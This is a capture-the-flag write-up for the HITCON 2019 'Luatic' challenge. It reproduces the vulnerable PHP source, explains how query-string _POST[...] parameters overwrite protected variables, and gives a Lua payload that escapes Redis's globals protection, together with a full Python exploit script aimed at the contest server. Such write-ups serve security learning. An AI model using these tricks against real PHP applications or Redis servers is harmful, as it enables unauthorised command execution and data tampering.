Home Archive

CTF Write-up: Luatic (HITCON 2019 Quals)

For this problem you are presented with a web page that lets you start a redis instance for your team. The actual challenge is at /luatic.php which looks like this:

<?php
   /* Author: Orange Tsai(@orange_8361) */
   include "config.php";

   foreach($_REQUEST as $k=>$v) {
       if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k)  )
           exit('Shame on you');
   }

   foreach(Array('_GET','_POST') as $request) {
       foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
   }

   if (strlen($token) == 0) highlight_file(__FILE__) and exit();
   if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you');

   $guess = (int)$guess;
   if ($guess == 0) die('Shame on you');

   // Check team token
   $status = check_team_redis_status($token);
   if ($status == "Invalid token") die('Invalid token');
   if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first');

   // Get team redis port
   $port = get_team_redis_port($token);
   if ((int)$port < 1024) die('Try again');

   // Connect, we rename insecure commands
   // rename-command CONFIG ""
   // rename-command SCRIPT ""
   // rename-command MODULE ""
   // rename-command SLAVEOF ""
   // rename-command REPLICAOF ""
   // rename-command SET $MY_SET_COMMAND
   $redis = new Redis();
   $redis->connect("127.0.0.1", $port);
   if (!$redis->auth($token)) die('Auth fail');

   // Check availability
   $redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
   if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');

   // Lottery!
   $LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
   $seed  = random_int(0, 0xffffffff / 2);
   $count = random_int(5, 10);
   $result = $redis->eval($LUA_LOTTERY, array($seed, $count));

   sleep(3); // Slow down...
   if ((int)$result === $guess)
       die("Congratulations, the flag is $FLAG");
   die(":(");

So you’re supposed to provide the query parameters token and guess where token is your team token and guess is an integer.

If the value returned by the following lua script equals your guess you win!

math.randomseed(ARGV[1])
for i=0, ARGV[2] do
    math.random()
end
return math.random(2^31-1)

Note that the arguments are generated in PHP in the ranges [0, 0xffffffff / 2] and [5, 10] respectively.

Solving the challenge

Now, are there any vulnerabilities? The most obvious one is the following snippet, if we had access to $MY_SET_COMMAND, $TEST_KEY and $TEST_VALUE.

// Check availability
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');

Of course, because of the preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) check we can’t set them directly, but there is a loophole in the second loop, namely, we can set $_POST during the first iteration (when $request is _GET) of the loop by sending _POST as a parameter in the query string.

foreach(Array('_GET','_POST') as $request) {
    foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}

Fortunately, from the way PHP parses query strings we can set $_GET['_POST'] == array("k" => "v") by sending _POST[k]=v.

This lets us work around the first restriction and set any variable we want. Running /luatic.php?token=<team token here>&guess=1&_POST[MY_SET_COMMAND]=DEL gives use the response Something Wrong? which confirms that it works.

Now that we can execute redis commands (with two parameters) it is time to get the flag. Note that we are done if we can control the return value of math.random inside the redis lua engine. Let’s try to redefine that! We thus need to execute a lua script that replaces the function, normally you can just do:

function math.random()
   return 4
end

But there are two problems:

  1. Redis disallows setting global variables.
  2. The character . is removed (together with {}[]='") in the second loop in the php script.

The first one is easily circumvented by setmetatable(_G, nil) 1 since redis is by design not implementing a proper sandbox 2.

Part 2 is solved by using rawset(table, key, value) on the math module (table). Getting key to equal "random" can be done by iterating over all keys of math in the following way.

for k, v in pairs(math) do
  rawset(math, k, function () return 4 end)
end

The complete script is thus

setmetatable(_G, nil)
for k, v in pairs(math) do
  rawset(math, k, function () return 4 end)
end

and the redis command becomes

EVAL "setmetatable(_G, nil) for k, v in pairs(math) do rawset(math, k, function() return 4 end) end" 0

After evaluating the above command we send another request with our guess and obtain the flag.

Full solution:

import requests

url = 'http://54.250.242.183/luatic.php'

token = "<YOUR TEAM TOKEN HERE>"

lua = 'setmetatable(_G, nil) \
 for k, v in pairs(math) \
   do rawset(math, k, function() return 4 end) \
 end'


def send(script=None, arg1=None, arg2=None):
    params = {
        'token': token,
        'guess': 4,
    }
    if script:
        params.update({
            '_POST[MY_SET_COMMAND]': script,
            '_POST[TEST_KEY]': arg1,
            '_POST[TEST_VALUE]': arg2,
        })
    return requests.get(url, params=params).text


if __name__ == '__main__':
    send("EVAL", lua, "0")
    print(send())

Footnotes


  1. See e.g. https://github.com/antirez/redis/issues/2854

  2. https://redis.io/commands/eval

    Using Lua debugging functionality or other approaches like altering the meta table used to implement global protections in order to circumvent globals protection is not hard. However it is difficult to do it accidentally.